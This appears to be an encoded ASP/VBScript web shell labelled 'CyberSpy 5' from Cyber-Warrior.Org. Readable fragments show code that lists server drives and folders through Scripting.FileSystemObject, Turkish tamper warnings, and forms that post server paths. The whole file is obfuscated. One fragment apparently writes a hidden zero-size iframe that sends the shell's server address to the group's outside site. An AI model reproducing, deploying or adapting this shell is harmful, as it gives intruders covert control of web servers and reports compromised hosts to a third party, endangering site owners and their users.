@!zY[@*r[E@!(.@*J@#@&;{;[sk9cJ4+ro4YES8~!*':bN`r    rNDtr~q~qbL:rNvEbNO4r~FSq*[hk9crr9Y4J~8~8b[^+WYvJ EBF#E':bN`r@!&Y9@*r~+~qbE[hk9cJqk[O4J~qS8#':b[vJ@!JKm4V@*rScBFb[sk[cr@!YM@*JB&~8b':bNvJ@!Y.@*r~f~8b[rkE'rWDE'rJ'JcELSn6YvJrr~8b[d+WYvJ.rTtYrSF*[DbL4YvJ1+sVd2mmrxTE~8#@#@&tZldnE''H;Ck+cr@!Dl4^+,Ak9Y4'rJX0uJJ,8WMN+MxEJZJrP4+rL4YxJrq 2JE~1+Vs2mN[k    L{JEWJrPmV^dwmmrxT'EEWJJ@*E~Z~!*@#@&H;lk+xH/Ck+v[r@!Y9PAr9YtxEWJ~trTtO{JWJ@*Lx(dwp@!&Y9@*E@!DNPSrNDt'r*EP4+bo4YxEWJ@*@#@&;V{J@!Om4Vn~Sk[Y4xrJqZ!uJJ,4K.NDxJrFTErPmsVkwl1rUo{Jr*EJ~^Vswm[NbxLxrJcEE@*J@#@&t/m/n{H;l/[srNvJ//kJSqBF#Lhk9`J@!dOX^+@*JScSq*[hk9cJUm.G^V4C.r~{~8bL:r9`rt+bo4OJB SF*[hr9`Jk^Dr~&Bqb@#@&H;ld+vxLH/lkn`r@!OC(V+~AbNOt{Er*0uJrP4KD9nD{JE!rJ~4ko4O'rJFyfEJ,mVswC[9kUo{EJWJE~1+Vsdal^k    L{JEWJr@*JB!BT#@#@&8D{J'U(/wp~[    4/aI~[    4kwIP@!Om4s+,Ak9Y4xrJFTTuJEP(GMNnM'rJFZJr~mVs/al^r    o'rE!rJP1nsVal9NrxLxrJ1Jr@*J@#@&\/m/+x\;ld+E'r@!O9PSkNDt{EcrP4+bo4O{Jcr@*[    4/aI@!zDN@*J@!Y[~Sk[Y4xJWJ~4ko4O{J*J@*@#@&H/m/'H;lkn[sk[`r@!&OM@*JBq~y#[sr[`r@!kYzVn@*r~+~yb[sk[cr?m.G^V8lMEB!SZ#L:k9`r4+bo4Yr~qS8#[srNvJ/1.E~Z~Z#':r[vJ    k9Otr~*S8#@#@&4M'E@!DC(Vn,hbNY4'rEFZ!YJrP8GMN+MxJrF!rE~mV^/2l^r    oxJrXJrP^n^VwC[9kUo{ErcEr@*r@#@&b:Tv'L:rNvJ@!Om4V~hbNY4xEJl%uJEP8GMNnD{EJZJE~4+kL4D'EJ8+2JE,mVVal9[k    oxJrcEE,m+^s/almbUL'rJWJE@*ESZ~T#@#@&H;ldn{HZCdB'J@!O9PAbNDt'rcr~tkLtD'E*r@*[    8/ai@!JO[@*r@#@&4.'E'@!YC4^nPSk[O4'JEqZ!YJr~(W.9+M'JrFZEJ,mnV^/2C1kxTxJr!Jr~^+^Val[NrUT'EJOEJ@*J@#@&tZldnE''H;Ck+cr@!Dl4^+,Ak9Y4'rJX0uJJ,8WMN+MxEJZJrP4+rL4YxJrq 2JE~1+Vs2mN[k    L{JEWJrPmV^dwmmrxT'EEWJJ@*E~Z~!*@#@&H;lk+xH/Ck+':b[`r?Oz^+JSqBFb[sr9`E1+^VwmN9rxTJS*BFb'skNvE@!J?YHsn@*r~l~q#'hbNcJlE~8~+bE[:r[vJ@!z:C(Vn@*JB!~Z#@#@&4M'E[    4d2pP[    8/aiPLU8/ai,@!Ol8sPAk9Ot{JEqZ!]EE,4GD9nM'ErFZJJ,msVkwCmbxLxrJ!rEP1+V^2CN9k    oxJE1rJ@*J@#@&H;ldnE'[\/m/n`r@!Dl8^+,hk9Y4xJr*0]rJ~8KDN.'rJ!rE~tkTtO'EE8 fJr~mVs2mNNrUT'EJWErP^V^/wmmbUo{JEcrJ@*EB!~Zb@#@&HZmdn'tZm/nB'hbNcJ@!Ol(Vn~SkNO4{JE*RYrJ~(WMN+M'rE!rJ~tkL4D'Jrq 2JJ,^nV^wmN[kUL{JEcrEP1+sskwl^r    oxJr*rJ@*r~Z~!*@#@&\Zm/n'tZCd[:b[`r@!zDC8V@*r~+~qbL:rNvE@!!V@*EB ~qbL:rNvE1+s^wmNNbxTE~l~q#LJ[CD+JLs+6Y`r Oks+r~q#'s0O`rCP4DnWr~Fb'sk[`rdDXsJBF~8#Lhk9`EmVsdalmbUor~vBqb@#@&ksov''hbNcJ@!Ol(Vn~SkNO4{JE*RYrJ~(WMN+M'rE!rJ~tkL4D'Jrq 2JJ,^nV^wmN[kUL{JEcrEP1+sskwl^r    oxJr*rJ@*r~Z~!*@#@&r:T'r:TB'E@!YN,Ak9Yt{E*J,tkLtOxrcE@*LU4kwI@!JYN@*E@#@&4Y{E@!YC(VPhbND4'rJq!Z]EE,4WM[+M'JrqTJrP1+sVd2mmrxTxJr*EE,m+ssal[NbUT'ErcrJ@*r@#@&r:T'r:T[hr9`J;d/r~FBqb[sk9`E@!dOHVn@*rScBFb'skNcEUm.W^s(l.r~F~F*[srNvJ4+bo4Or~ Bq#L:k9cE/1Dr~f~qb@#@&s+6O'^+WvLJ@!O[,hrND4{J*rP4+kTtDxJWJ@*[    4d2p@!zD[@*r@#@&bhL'b:T[hk[cr@!OD @*JBcSq*[:r[vJ    k9O4JS8~8#[sk9cJ@!zPl(Vn@*r~cBq#L:k9cE@!DD@*JS&Sq*[hk9cJ@!Y.@*r~&Sq*[Ekr'rW.r[rJ[rRr'S0O`rrES8#[dn0D`JMrLtDJBFb[.rTtO`r^+^Vd2mmkULr~q#@#@&(Dxr@!Dl4^+,Ak9Y4'rJqTZ]Jr~4KDN.xJrFZJEP^n^Vdwm^k    oxEr*JE~1+sVaC9Nr    o{JJWJr@*J@#@&r:T'rhTB[srNvJ@!DC8VPSk[Y4xrJX%uEJ,4G.9+DxEr!EJ,4kL4Y{JJ8 2EJ,mnV^wC[9kxTxJrcJr~^+^VkwCmrUT'EJWEJ@*JSTB!#@#@&"+dwKUk+ qDbY+r@!DC4^+~hbNO4{JJl1]rJP4nro4Y{JE&EE,mnV^2l9NrUT'JETrJ~ms^/2mmbxo{JrTJr@*@!YM@*E@#@&I+k2W    /+cA.kD+r@!r0.Cs+~/M^'rJE'kYXsnL;'ksLLJ&r[tZlk+LEJrPAk9Y4xE!B,4+botDxv!E@*@!zr0.Cs+@*J@#@&Km4snE'[hr9`E@!DC(Vn,hbNY4'rE*R]EJ,4G.9+D{EJZJJ,4nkTtD'EJq+2JEP1nV^wC[9kxLxrJ*Jr~1+s^/almbxTxJrcEJ@*JSTB!#@#@&I/wKUd+cMkO+E~@!Y[@*LU4kwI@!JYN@*EEJ@!Y9@*Lx8kwp@!zDN@*EJ@!Y[@*Lx8dai@!JON@*J@#@&]n/aW    /nR    .bYnJ@!ON@*[U8kwi@!&DN@*JEE@!Y[@*[    4/ai@!&Y9@*EJ@!Y[@*Lx4k2i@!zY9@*E@#@&Km4s+vxL:rNvE@!Dl8sPhr[DtxJrXR]ErP(WD9+MxJr!EJ,tnrTtY{EJ8 &rE~mV^wCN[r    oxJr*JrP^n^V/2C1kUo{ErcEr@*r~!B!*@#@&:l8V'PC(V+Lhk9`J;ddJBFBFb[hr9`E@!kOX^+@*EBc~qbL:rNvEUm.KV^4lMJB{~8#':bNcE4+kT4Yr~ Bqb[sk9`E/^.r~f~8b@#@&YsxDD[hr9`EzJEBFSZ#L:k9`roWMEh{hlO4cb/aE~8~!*'hk9`rnh{\nk/Co bkwES8~!bvd+U`"n$EnkYc?+M\..mDrl(VndvJ?;]qhK{g)\2r#*@#@&KC8^+xKm8V[hr9`JjOHVnJBqBFbL:bN`rmsVal[NbxLEB*~8b[skNvE@!zUYHVn@*ESl~q#Lhk9`E Xr~FS+*B':b[vJ@!JKm4V@*rS!B!b@#@&KC8^+':C4^+BLhrNvJ@!YC4sn,hrND4'rJX0uJJ~8KD[+MxrJTrJ,t+bo4O'rJq 2JE~1+V^2l9Nk    LxJrcrJ~mns^/2l1rxT'EEWJJ@*EB!S!*@#@&?CDkM'J@!Ym8VPAk9Y4xrJFZT]rJP(G.ND{JEFTErP^+^s/al^r    o'EElJEP1n^V2mN9kxT'rEcrJ@*J@#@&]nkwW    d+cDbOnJ@!Y9@*'x8dai@!zD[@*rBE@!DN@*'U(/2i@!&DN@*rJ@!YN@*[    8/ai@!zDN@*E@#@&IdwKx/     DbYJ@!Y[@*Lx8/aI@!JY[@*rBJ@!O9@*'x(dai@!JY9@*J@#@&:[':N':bNcEskNrS BF#LhrNvJ1+sVKC9NrxTE~l~qbL:k[cr@!&?Dz^+@*r~y~F*[srNvJ@!qtMxj;IJB{~8#[sr[`r?DX8+ES2~f#@#@&K9'P[L:k[cr@!OD @*r~fB *[:bNvEbNOtr~qS8#[srNvJ@!JPC4^+@*JScSq*[hk9cJ@!Y.@*r~&Sq*[hk9cr@!OM@*r~&BF*'JbJ'JKDE'r J[srNvJ@!JPC4^+@*JS&Sq*d@#@&:[':N'E&HJvE@!YC4^n,hr9Y4'Jr*RYJrP8WMNn.{JJZEJ,t+bL4Y{JrF+&EE,mnV^2l9NrUT'JE*rJ~ms^/2mmbxo{Jr*Jr@*E~Z~Tb@#@&Y^xYM[:b[cJJzr~q~TbL:rNvEsKD;h|nlO4cbdwrS8~T*[skNvJhh{t+d/mon z/wrSFB!#EJnxvI;;+dOc?nD7nDjl.rm4VndvJjZ"(hKmgbt2J*#@#@&Y^'hk9`E+r~FBq#L:k9cE~yFB&S&ffy~T*cfcr~qSZ#[hr9`ERB+8~fBJBF~Z#Lhk9`ERczES8~!*':bN`r S 8~2~fzf z/2JBq~Z#'hbN`E B *FB+8~fB~2~&r~8S!*@#@&I/2G    /+c    DbY+r@!&YM@*r@#@&IndaWU/ MkOnr@!zOC(Vn@*r@#@&ITZK{PJ@!YbOV@*E@#@&?CObD'r@!Ym4V~Ak9Y4'EJqTZ]EJ,8WMNn.{JJqTrJ~ms^/2mmbxo{JrXJrP^+^V2C9Nk    L'rJcrE@*J@#@&UlW+x~r@!4Yss@*@!tnC9@*J@#@&:kOV~{PPm4^+@#@&2    [?!4~',J@!&DkY^n@*@!ztC[@*@!4KNz@*E@#@&Zz4.mD.rKD{]GKYjlHWmACkk,'PUl6nPLP]!ZK~',KkDs+,[PAU[?!4@#@&]WGOUlz0mjW    E~x,J@!&8KNz@*@!&4Yh^@*r@#@&`w9CYZGNPx~kYX^nPLP;,'EZH4DRC.MkGDc6DTJ'~rzZz8DjwHXnWUDDKVRz/a_Z{ukur@#@&v"+/aGxk+RS.rYPrcTc 4D:~O,^)'hrU9WhdwkXdYh2 w4+^w-bkk4+^wwmK:hG    -FZTRz/w,jCX6l,A;V;Um:CNb~CmYC~hlDChY.+,_;'k-ur@#@&"+k2W    /nRSDrOJ@!bWDm:+,d.m{JrJ'j2[mYnZK[+LJEE,hk[O4'v!E~4+rTtD'BZB@*@!zb0.ls+@*E@#@&YMx:bN`r+E~8~8#':r[vJS 8S&B&ffy~!X 2cE~8SZ#'sk9`Jc~yq~2~E~8~TbL:k9cJcRzrSq~Z#L:rNcEc~+FBf~2zf z/wES8~T#LhbNcrRB c8~yq~2~S&B&ES8~!*@#@&DD'D.':bNvJrx[nXRC/aE~8~TbL:k[crRE~8SZ#'sk9`JJzrSFB!b[sk[crvvB+FB&~pESF8~8#':r[vJ&zrSFB!b'skNcEwW.EsmhlO4Rz/wr~8S!*[hk9`EKs{Hd/mo+c)dwr~8~T#@#@&DDxYM':bNcEBF~TSdWLk    z/2B%c!JBFBT#L:rNvJSq8~&BTf0l!sO!8JB%SFb'sk[`r&zr~qSZ#[hr9`EzJ r~fBF*[:bNvE~Z!q~2~*fc&~yq~2~JBqS!*[sk[`ECkJSFB+#L:r[vJldEBFS!*'sk[vJB&RyRBq~2~fRz/2 KJ~8S!*[:b[cJBcc~q~fSMR)/aE~8~TbL:k[cr &+J&r~qB!*[:bNvE~y~q~2~  J ~yq~2~JBqS!*@#@&4.'E'    4dwp~[    4d2pP[U8kwIP@!Om4sPSkNDt{EJ8!T]rJ~8KDN.'rJFZEEP1+^VdwC^bxL'rE!rJ~^VV2C9NrxTxrJ1rJ@*J@#@&YMxYM[hk9`ES8F~2S r~FBTb[sk9`E~TqB&S rSFB!b'skNcEM+fc2*r~qB!*[:bNvEtDY2)JzJG1lV4G/DJ~8ST#L:bNcJfEBFS!*':bNcE&xwCL?nY!2r~fBF*@#@&DD{PNESnxvIn5!+/D ?D\.#lMkm4s+dcr?/I&KK|1)\AJ#b6(LnMKdD+.,',Hk9`K8LalOtBqUdDDI-`K4LaCOtBJ'Jb_qSd+U`K8LalO4*#@#@&O^'ODLhbNcrk    N+XRmdwr~q~Z#'hbN`r JBF~Zb':bNvJ&zES8~T#Lhk9`E+~ qS2~IJBq8~q*[skNvJJ&JBFS!*[hr9`JwGD!:{hCOtcbkwE~qSZ#':b[`rnhmt+/dCT+ bk2r~qB!*@#@&UlDrD{J@!Ym4sn,hk9Ot{JJ8TT]rJ,4GD[nM'EJ8TJrP^n^V/2C1kUo{Er*ErP1+V^wm[NbxL'rJ*Er@*J@#@&bM:'rtEB"+$En/O U+.\..mDrC(V+dcr?/I&K:{HzHAJ#LSU`"+5E/O U+D7nDjlDbC8V/vJjZ](hKm1z\2r#b@#@&?lOrM'E@!DC(Vn,hbNY4'rEFZ!YJrP8GMN+MxJrF!rE~mV^/2l^r    oxJrXJrP^n^VwC[9kUo{ErcEr@*r@#@&DV{ODL:rNvJB FBf~pJ~8qSF*[sk[`E&JJSFBT#L:r[vJsG.!:mnmO4R)kwr~FB!*':bNcJh:m\//mL+cb/aESFB!*@#@&YsxDD':b[`rkU[6RCdaJSFBT*[hbNvJRr~8S!*[hk9`E&JJ~8S!*[:b[cJ+vB q~fSpJSF8SF*[hr9`J&&r~q~ZbL:r9`rsWMEsmnmY4Rz/2EBF~Zb[skNvEK:|H/dlLncbdwrSFB!b@#@&?+.-D#lMr(VnkP{PJ@!K9@*JE[hk9`ESyF~2S&2& BTXR2cr~q~TbL:rNvERB *qB FSfB~f~2EBFSZ#@#@&tD'r@!Ym4s+,hr[Dt'rEFZ!]rE~4KD9+.'EE8!EJ,^+^Vd2mmkUL{JE*rE,mn^ValN9k    L'rJ*Jr@*E@#@&4D{E[    4/aI~[    4kwIP'U(/2i,@!Ym4sn,hk[O4'EJ8TZ]ErP(WD9+MxJrFTJrP^n^V/aCmbxo{EE!rJ,mnVs2mN[k    L'rJ1Er@*J@#@&DVx:b[vJ+r~8~F*[srNvJS 8~fS2&&yS!lR&WESFB!*[hk[crRS Wq~yFSfB~&Sfr~q~ZbE?nM\D.mDbC4^+d`r?/]&nK|Hbt2J*b@#@&DV{:rNcEyJSFBq#L:r[vJ~+qB&S&2fy~TlR2cJBFBT#L:rNvJ SyF~2SJBF~Zb':bNvJ ~+*8~+FBf~B&Sfr~FST*@#@&?.7+.jlMk4^+k~',Y.BL:r[vJ~yq~2~&2f+~Z*c&*JSqB!b[srNvJ SycFS+8~f~BfB&EBFB!#@#@&Ds'DD':bNcEJzJBq~Z#[sr[`rsKD;:mKmY4Rzdwr~qSZ#[hr9`Ensmt+dklT+Rz/aE~8~T#ESnUvI+$;+kYRUn.\Djl.kC8^+d`rjZ"qKP|1b\3r#b@#@&O^'hbNvJ r~8SF*[hk9`ESyF~2S&2& BTXR2cr~q~TbL:rNvERB qS2~JSqB!b[sr9`EcRJJ~8~Zb[sk[`rRS+8~&Bfz2Rbk2E~8~Z#':r[vJ ~y*FB qS2~~fS2JSFBT*@#@&UE(PAKV!h?`Ac#@#@&]nkwW    d+cDbOnP;X(+.C.MkGD|]WKYjCH0l$Ckk~[,E@!Zn    YD@*@!sKUY,sCm'v    bxo9rxT/B,jry'E_+!v@*@!4@*JL)Ds[E@!J4@*@!&wWUY@*@!(D@*r[r@!ZxDnD@*@!oW    Y~jby+{v*E@*@!(@*EPLPU+.\n.jl.k(s+kP'~r@!z8@*@!zoW    O@*@!&;+    Y+M@*r'J@!4@*JLKC8^+[r@!z(@*@!(.@*J@#@&(DxJ'U(/2i@!Ol(Vn~SkNO4{JEFZTuJE,4KDND{EJ8!EJ,mns^/wm^k    o'rETJrP1+sV2C9NrxTxJr,EE@*J@#@&]/2W    dR    MkD+Pr@!m~tM+W'r[dOHV+L5[b:oLE~YmDT+O'vm(VCx0v@*@!0GUDP/r"'v&E@*r[rsoLJ@!J0KUY@*@!&l@*@!&/xY.@*r@#@&(.xJLx(/2i~'    4dwp~[    4d2pP@!OC(VnPSr9Y4{JrF!Z]rEP(W.NDxErF!rEP1+V^d2l1k    oxJETrJ~msVal[[bxoxEr,EJ@*E@#@&O^'DD[sk9cJ+vS 8~fSpJ~8q~8#[sr[`rzJJSFST*[hk9cJwW.;s{nCO4R)/aEBFSZ#L:k9`rK:|Hn/klLncb/aE~8~!*@#@&Y^'DD':r[vJrx9n6cld2r~FST*[hk9crREBFB!#L:b[`rz&JBFST*[:b[`rvvB+q~2~pJSFqS8#':b[`rz&EBF~TbL:rNvEwW.!:|nlDtc)/aJSFB!b'skNvEns{HddlT+cbdwES8~T#@#@&4M'E'    4/2I,[U4k2pP'    4kwi,@!DC4^+~hbNO4{JJ8T!uJJ,8GD9+M'EJqTrJ~msVkwC^bxoxEr!EJ,^Vsal9Nk    o{EJOJE@*r@#@&3    NPU;4@#@&Y^xODL:bNcJB q~2Sir~qqBF#'hbNcJJ&r~qB!*[:bNvEsKD;:|nCO4Rbk2JBF~Zb':bNvJK:m\/dlTnRz/2EBF~Tb@#@&8D{ELx8kwpP[    4k2i,[U4kwI~@!Yl(s+,hk9O4'rJ8!T]EE,4GD9nD{JEqZJJ~^Vs/aC1kUT'rJ!rJ,^+^V2l9NrUT'Jr1Jr@*J@#@&OV{YM[hk[crkUNaRm/2EBF~TbL:rNvEcJS8~Z#[sk9cJJzE~8~TbL:k9cJ+v~yqS&Bir~qFSq*[hk9cJJzES8~!b'sk[`roKD;s{hlY4Rzdwr~q~Z#'hbN`rK:|H+kdCoRz/2JSqB!b@#@&rs,IrL4Y`\/m/n~8b,@!@*,JaJP:tU)"+dwKxdncDbO+,JZH8nDUwHPXP&~nW[PInY0kdr.m+~9or/DrMksbXKDRcRrlI/2W    /n AxN@#@&kwPKm8s+,@!@*PPkOsPPtU)"+d2Kx/n qDrY~rÇl2Ml.P|KxD.W^"~ZH4n.UwX,XPJP|K[~5Y0kdk"^P9+Tr/Dk.r^kXG.cR J=]/2Kxk+RAx9@#@&UE8P;X8nMlM.kKD{VG.E    Y!Vn?;8v#7@#@&7kwPhr9`H/Ck+SGB+*P@!@*PrwXrP:4+    )]+kwGUk+Rq.kD+Pr/z4DUwzPX~JP/X(nD C.MkW. }DLJ=]/2Kxk+RAx9@#@&iIn/aWUdRMrYPJ@!^nxD+M@*@!0G.sPUlsn'E0G.sFB~hY4W9xEwGkYEPl1YbGx{J~[,In5!+/D ?D\.#lMkm4s+dcr?/I&KK|1)\AJ#~',J@*J@#@&iInkwKx/Rq.kD+~J@!kU2!YPDzw'Bk;8:bYEPUlhn{BjE(hkDB~-mVEnxEP~P,]KWO,P,PB@*J@#@&d"+dwKxdncDbO+,J@!JWGDs@*@!z^+UOD@*J@#@&@#@&dro,KDrhvIn;!nkY 5EDXUYMrxT`EZqnC.m:+D.+r##,x~JMWKYEPP4x@#@&i7?Y~Wk'?n.7+.R;.lOW(L+1YvE?1DrwDkULcsk^n?H/Yh64N+1YE#@#@&idj+D~?!D;^!Kk2sDr'6dcN.b\/@#@&d@#@&diIn/aWUdRhMrYPJ@!WGxDP6l^+xvqkUo9rxT/v~kkynxEFTB@*@!(@*l@!z(@*@!J0KUY@*P@!4@*n8,?+M-+M@!z(@*E@#@&diIn/2G    /nRq.kD+~E@!0WUO,0CmxrJCMkmVJrPkry'EJyJE@*r@#@&i7I/wKUd+chMkO+~E@!4.@*@!8D@*J@#@&idsG.,2Cm4~9Dr7+,q1,?!.E1EPkaVn.b@#@&i7dkYD{[.k7+cN.k-n^+OY.PLPElr@#@&77iIn/aG    /ncMkYPr@!4@*@!CP4DnW{JJr~[,I+$;n/DRU+.\n.jl.km8V/cEUZI(K:{Hbt3r#~LPrgZqnm.ls+OD'E~LP/D.PLPJrE@*J,[,j/ldnv/OD*~[,J@!&m@*@!&8@*@!8D@*E@#@&7id@#@&didUnVmOP;ldn,NDb-+cfDb-nKHw@#@&d77iZC/~!@#@&77iddj;ME^E:rak~{Prjx0xKAxr@#@&did77UED!^EzNP{~[Db\R#Ws;s+Hlsn@#@&d77iZldn,F@#@&i7id]/aWxk+cADbYnPr@!WG    YP6Cm'BqrUo9k    odB~dbyn'E{B@*@!8@*@!@!z8@*@!zWW    O@*@!8M@*r@#@&idi7dUE.E1EPrakP{~JÇb3lMrsl(k^k.P9rk3E@#@&7did7rwPN.r7+ kk.l[HP:t+    @#@&7did7dUE.;1Eb9~',NDb-nRjW^Eh+HCs+@#@&i7did3sk+@#@&7id7dij!D;1EzNP{PrE@#@&d7did3U9Pkw@#@&iddi/C/Py@#@&d77iIn/aGxk+ AMkYn~r@!WW    O,0C1+{BbxT[k    odB,/r"'BFv@*@!4@*p@!&4@*@!J0GxO@*@!4.@*r@#@&id77i?E.;1EPkar,'~r?m4kDPGr/0J@#@&id77iks,[Db\+crdDl9X~K4n    @#@&di7didj;MEm;)9PxP9.b\nc.KVEs+gC:@#@&did77AV/@#@&iddi77?!D!m;b[~{PEJ@#@&did77AxN~rw@#@&di7iZCk+,&@#@&di7d"+dwKxdnchDbO+,J@!6GUY,0mmn'v    bxLNbUokB~dby+xvFB@*@!(@*p@!&(@*@!z0KxD@*@!(D@*J@#@&77iddU;D!mE:r2k,',J)o~jüMümüdüJ@#@&did77bsP[.b\nRbdM+C9X,Ktx@#@&did7di?;.!mEz[P{PNMr-+c?4l.+HCs+@#@&i7did3sk+@#@&7id7dij!D;1EzNP{PrE@#@&d7did3U9Pkw@#@&iddi/C/PW@#@&d77iIn/aGxk+ AMkYn~r@!WW    O,0C1+{BbxT[k    odB,/r"'BFv@*@!4@*@*@!&4@*@!J0GxO@*@!4.@*r@#@&id77i?E.;1EPkar,'~rZGOIK:r@#@&id7diko~9Dk7nRb/DC[X,K4+U@#@&7id7dijEME^;zNPx~9Dr\ jWs!:1ls+@#@&did7dAVdn@#@&di7did?!.;m!b9PxPEE@#@&7di7dAx[~bs@#@&7id7ZmdPX@#@&iddiIdwKxd+ch.rD+Pr@!0KxY,WCm'ErxL[bxL/E~/bynxEGB@*@!(@*I@!J8@*@!&6W    Y@*@!4M@*J@#@&7did7j!DE1;Kbwk,x~J"btP9kdVr@#@&di7diko~9Dk-nckdDC9X~:tx@#@&di7didjEME^;zNP{~NMk\ #W^Es+Hlhn@#@&7di7dAVdn@#@&d77id7?!.!m;zN,'PrJ@#@&did7dAx[~bs@#@&7di2x9~j+^+1Y@#@&77ikoPsrNvkhLB&~+b,@!@*Pr8J~:tx)"+k2W    /nRqDrOPJ;z4D?az~*,z,Zz4n. CDMrWMR6.TJ)]nkwGxknc2U9@#@&ddikw~:bNcksoSfB #,@!@*,J4E~rMPsk[`\/m/n~FS *P@!@*,JwzE,K4+    l"+daW    /+cMrYPEZH4n.UwX,XPJPZH8nD mD.kG.cr.orlI/2G    /+ 3    N@#@&i7iko,:bN`b:TS%B bP@!@*~EmDJ,Ptx)"ndwKxk+ .rD+~J;z4Dj2HP*~&,|GN,eYVb/bymPGnob/OkMksrHWDrlI/wKUd+c2    N@#@&77iDn/aGxk+ AMkYn~r@!8@*Uü.ü1ü)@!J4@*PJ,[,jEME^E:k2r,[Pr@!4M@*J@#@&7diD/2WUdRADbO+,J@!8@*k/rh=P@!z(@*rP',?!DE1Ez[PLPE@!(D@*E@#@&di7D/wKUd+chMkO+~E@!4@*fKdXmPjrkY+hr=P@!z(@*r@#@&idiks,NMr\Rr/M+C[HPK4nx@#@&di77/Y,/2'WdconY9.k7+cdDD#@#@&id7dMnkwG    /RhMkDnPkw 0bVndH/YhPLPJ@!8.@*r@#@&d7d3sk+@#@&i7dM+d2Kx/n SDrY~rO@!(D@*J@#@&di72    N~kw@#@&7idIdwKx/     DbYPE@!8@*~WdPzsl    )~@!J4@*E@#@&d7dbo,N.b\RkkDCNHPPtx@#@&iddiWD+/aC^+,',`[Dr-R)\mrVm4snUwl^n,z~FZ*R*{+#@#@&didid+DPdw{0d T+Y9.k7+`kO.#@#@&id7d.nkwGxknRSDrO`IG;    Nc0Mn/2mm~F*PL~J,H$@!(D@*E*@#@&i7dAV/@#@&didiDn/2G    /nRS.kD+cE @!4.@*r#@#@&i7i2U9Pbs@#@&di7I/2W    /n qDkDnPr@!4@*PGw^lsPFl2CkkO+=~@!J4@*E@#@&d77bs~NMr7+ b/M+l9X,Ptx@#@&id77DWYms/alm~xPvNMk-+ PKYCVUryP&~8!c0XFvb@#@&7id7k+DP/a'6dRT+ONMk-nv/YMb@#@&ddi7.+kwKxd+ AMkO+v]W!x[cDWYCskwCmS8#~LPrPH~@!(.@*r#@#@&id73^/+@#@&diddMndwKxk+ h.rD+cJ @!4M@*Eb@#@&d77Ax[Pbo@#@&7id"+/aW    d+c.kD+~E@!4D@*E@#@&ddgnaY@#@&id]+d2Kxd+c    DbYn~r@!zWG    Y@*J@#@&idjY,0/,',HWDtrxT@#@&7i?+D~?!DE1;PkaVDrPx~gWOtbUo@#@&77k+Y~da'HWD4bxL@#@&i2Vk+@#@&didrs,:r[vk:TS&B #,@!@*Pr4J~r.~sk[`t/lk+S{B #~@!@*PEwHE,K4x=I+kwKU/R    DbYn~rZX(nDUwX,X~z,ZH4nDR    mD.kK.R}DLE=I+d2Kxd+c3    N@#@&didkwPsrNvkhoB%S+*P@!@*~JmDJ,P4+    )"+dwGUk+ MrYPE/H4+.jaX~*,&,|G9PI+Y0kkry1+~fordDkDbskHWDrl]+kwKxd+ 3    N@#@&i7@#@&d7@#@&ddro,:rNvPbYs~O~F*P@!@*Pr J~K4+Ul"+/aGxk+Rq.rYPrZz4n.UwzPl~z,Zz8DO    CMDrWM }DLr)"+/aW    d+c2UN@#@&@#@&idkw~:bN`:[SFF~8#~@!@*~r J~K4nx=IndaWxdnc.kDn,J/H4D?aX,XPJPFW9PenD3kkry1+PGnLkkYbDrVrzKDE)"n/aWUdR2U[@#@&7dUnDP6(Lw?r,',/DlO+}4%n1Y`rjmMkwDrUocsbVn?zdD+hr(%+1YEb@#@&d7jY~HKU"+2,',r4NsU6RV+OsKV[nM`ZqKlMl:O.+*@#@&d7ko~sk[`:[~8vS+*P@!@*~rD EP:4xl"+kwW    / MkO+,J/z(+DU2X,*PJ~/X(+MO    l..bW.R}.or)]nkwWUdR3x9@#@&d7U+DPb    lGrybxs+MPx~tWx"nwc?E(oGV9+M/@#@&77bs~SWYvb.hBF#~@!@*PE}r~:tn    )"+/aW    d+c.kD+~E;X4.OqlDMrGDcrMoE)]nkwGxknRAx[@#@&ddjnDP/W^obVnk!,'PtW    ]+aRok^+d@#@&ddboPskNvrhoB%B bP@!@*,JCDr~K4+Ul"+/2G    /nRq.bYn,J;X4DU2X,*~z,|G[,5+DVkkky1n~fob/Ok.r^kzWME)"+d2Kx/n Ax[@#@&7i@#@&id"+/aW    d+c.kD+~E@!Yl(s+,hk9O4'EFZB~4G.9+.'ETB,lsrTx'v^xO+Mv,@*E,@#@&dd"+k2W    /nRqDrOPJ@!OD@*PJ,@#@&dwWMP3l^4,N.k7n{,kU~K4Loj}R9Db-/@#@&diks,:b[`:NSF+~+b,@!@*,ED rPK4nU)"+kwGxdnc.kDnPrZz8D?2z,*~z,/H4nMOqlDMkK.R}DLJ=IndaWxknRAxN@#@&7d"+kwGxdnc.kDnPr@!O[,hk[O4'vFuv@*J@#@&diI+kwKU/R    DbYn~r@!0K.:,xlsnxB6WM:qB~hY4W9xBaWdOEPl^ObWU'E_;KmDm:+DDxJLP[Db\nmcfDb-+d+YDn.[r)E@*E@#@&7iIn/aGxk+     MkYn~r@!rxa;DPOHw'BkE(hkDB~xm:nxE?E(hkDBP7CsE',B~J~',P[Db-+|R9.b\+JnDYnD,',J~E@*r[J@!zwGDs@*E@#@&d7]/wKU/RMrO+,J@!zON@*E@#@&@#@&iH+XY@#@&i@#@&77@#@&7IdaWUk+cDbY~J@!Y[PSk[O4'B8YB@*J@#@&7]+kwKxd+     MkO+,E@!6W.h,xlhn{BWWMh8B~s+DtW9'E2WkYvPmmOrKx'rEJ,[P"n5E/DRj+.-D#lMrl(VndvJ?/]&nP{g)t2E*PLPJQZqKlMlh+DDnxMWWDEJ@*J@#@&7rs,:bNcKC8^+S,Bq#,@!@*~r JPP4xlIdaWUk+cDbY~J;X8+M?2z,*PJ~ZH4+MR    lMDbW.R6.TJlIdwKxdnc2x[@#@&d]+k2KxdRqDkD+,E@!bx2EDPOza+'EdE(:kDv~xm:'v?;8skOB,-l^EnxERRlv@*J@#@&i]/2Kxk+RqDbO+,J@!z6W.h@*J@#@&7I/wKUd+cMkO+~E@!zON@*E@#@&d@#@&i@#@&77"+dwKUk+ qDbY+,J@!&YM@*E@#@&d7]/wKU/RMrO+,J@!zOl8s@*E@#@&7d@#@&7vVkYoGM:~',];;/DR;vJVrYwW.:r#@#@&idkw~S0Yv).:BF*P@!@*~E\J~b    [Psk[c:l4snB,SF*~@!@*~r J,Ktx=]+kwGxk+     MkY~J;X4.RmDMkGD 6MoE)"n/aWUdR2U[@#@&7d"nkwG    /RMkDnPr@!WWM:~Um:+{v0KD:yv~:Y4W['vLYvPm^YbWUxEgB@*E@#@&~di]/2Kxk+RqDbO+,J~@!bx2;DPYH2+{BYaOB,\mV;+xELZ    nm.ls+O.[J~Um:n'E/qnCMls+YM+E@*J@#@&7d"+d2Kx/ MkY~EP@!k    